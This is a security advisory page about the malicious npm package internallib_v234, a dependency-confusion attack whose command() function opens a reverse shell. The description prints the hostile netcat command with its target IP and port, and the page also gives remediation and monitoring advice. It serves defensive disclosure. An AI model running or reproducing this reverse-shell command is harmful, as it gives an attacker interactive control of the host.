MalwarePublished 6 Jul 2026

internallib_v234 (npm) · Malicious Code

Affects internallib_v234Source GCVE Database

Malicious package : remove internallib_v234 and rotate any secrets on hosts that installed it.

Data as of 7 Jul 2026, 12:28 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-6796

What to do

Remove internallib_v234 from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npminternallib_v234	Affected 1.0.3 – 1.0.7 5 affected builds	Fixed in–

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Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8af2fded6fa5a25932255b36ee1a4e4293d955d9a74d54334ec133105f3ec087) internallib_v234@1.0.6 exports a `command()` function whose body unconditionally invokes `/bin/bash -c "nc -vn 10.0.74.133 13337 -e /bin/bash"`, opening an interactive reverse shell from the installer to a hardcoded RFC1918 endpoint (10.0.74.133:13337). Prior to launching the shell, index.js runs `whereis nc` to confirm netcat is available on the host. The package also exhibits a dependency-confusion shape: the name mimics an internal-library naming convention, it declares itself as its own dependency (`internallib_v234: ^1.0.0`), and CI configuration references a private Verdaccio registry (`npm update --registry http://0.0.0.0:4873/`). The combination indicates a targeted attack against an organization that hosts a private `internallib_v234` internally; installing/loading this public version and invoking the exported function yields interactive shell access on the installer's machine to the attacker.

Impact

If installed and the command() function is invoked, the malicious package opens an interactive reverse shell to an attacker-controlled internal IP address, potentially allowing unauthorized remote code execution and full control over the affected system. This compromises the confidentiality, integrity, and availability of the host machine. The attack relies on the presence of netcat and the invocation of the exported function, so impact depends on usage patterns within the targeted environment.

Defensive guidance

Organizations should avoid installing or invoking the public internallib_v234 package versions 1.0.3 through 1.0.7. Verify and enforce usage of the legitimate internal package from private registries. Review CI configurations to prevent accidental installation from public npm registries. Monitor for unexpected network connections to internal IPs like 10.0.74.133 on port 13337.

Summary

The npm package internallib_v234 versions 1.0.3, 1.0.4, 1.0.5, 1.0.6, and 1.0.7 exports a command() function that unconditionally executes a reverse shell command using netcat to connect to a hardcoded RFC1918 IP address (10.0.74.133) on port 13337. Before launching the shell, it verifies netcat presence by running 'whereis nc'. The package exhibits dependency confusion characteristics by mimicking an internal library name, declaring itself as its own dependency, and referencing a private Verdaccio registry in CI configurations. This suggests a targeted attack aiming to trick organizations into installing this malicious public package instead of their internal one, resulting in remote shell access on the installer's host.

References

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What to do

Affected software

Description

AI analysisMachine-generated, updated 6 Jul 2026, 23:23 UTC

Technical details

References

Community reviews